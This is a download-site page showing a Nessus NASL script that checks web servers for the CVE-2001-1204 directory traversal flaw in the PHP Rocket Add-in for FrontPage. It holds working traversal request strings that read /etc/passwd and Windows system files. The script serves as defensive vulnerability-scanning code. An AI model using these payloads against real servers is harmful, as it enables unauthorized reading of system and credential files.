⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 phprocketaddin_traversal.nasl

📁 漏洞扫描源码,可以扫描linux,windows,交换机路由器
💻 NASL
字号:
## This script was written by Drew Hintz ( http://guh.nu ) and Valeska Pederson# # It is based on scripts written by Renaud Deraison and  HD Moore## See the Nessus Scripts License for details#if(description){ script_id(10831);  script_bugtraq_id(3751); script_cve_id("CVE-2001-1204"); script_version("$Revision: 38 $"); name["english"] = "PHP Rocket Add-in File Traversal"; script_name(english:name["english"]);  desc["english"] = "There is a vulnerability in the PHP Rocket Add-in for FrontPage that allows a remote attacker to view the contents of any arbitrary file to which the web user has access.  This vulnerability exists because the PHP Rocket Add-in does not filter out ../ and is therefore susceptible to this directory traversal attack.More Information: http://www.securityfocus.com/bid/3751Risk factor : High"; script_description(english:desc["english"]);  summary["english"] = "Looks for a directory traversal vulnerability in the PHP Rocket Add-in for FrontPage.";  script_summary(english:summary["english"]); script_category(ACT_GATHER_INFO); script_copyright(english:"This script is Copyright (C) 2001 H D Moore & Drew Hintz ( http://guh.nu )"); family["english"] = "CGI abuses"; script_family(english:family["english"]); script_dependencie("find_service.nes", "http_version.nasl"); script_require_ports("Services/www", 80); exit(0);}include("http_func.inc");port = get_http_port(default:80);if(!get_port_state(port))exit(0);if(!can_host_php(port:port))exit(0);#check for vulnerable version running on *nixfunction check(req){ soc = http_open_socket(port); if(soc) { req = http_get(item:req, port:port); send(socket:soc, data:req); r = http_recv(socket:soc); http_close_socket(soc); pat = "root:"; #string returned by webserver if it's vulnerable if(pat >< r) {   if(egrep(pattern:".*root:.*:0:[01]:.*", string:r)) {	   	security_hole(port:port);		exit(0);   } #end final if pattern match  } #ends outer if pattern match } #ends outer if(soc) return(0);} #ends functionurl = string("/phprocketaddin/?page=../../../../../../../../../../../../../../../etc/passwd");if(check(req:url))exit(0);url = string("/index.php?page=../../../../../../../../../../../../../../../etc/passwd");if(check(req:url))exit(0);#check for vulnerable version running on Windowsfunction checkwin(req){ soc = http_open_socket(port); if(soc) { req = http_get(item:req, port:port); send(socket:soc, data:req); r = http_recv(socket:soc); http_close_socket(soc); pat = "IP Configuration"; #string returned by webserver if it's vulnerable if(pat >< r) {   	security_hole(port:port);	return(1); 	} } return(0);}url = string("/phprocketaddin/?page=../../../../../../../../../../../../../../../WINNT/system32/ipconfig.exe");if(checkwin(req:url))exit(0);url = string("/index.php?page=../../../../../../../../../../../../../../../../../WINNT/system32/ipconfig.exe");if(checkwin(req:url))exit(0);

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -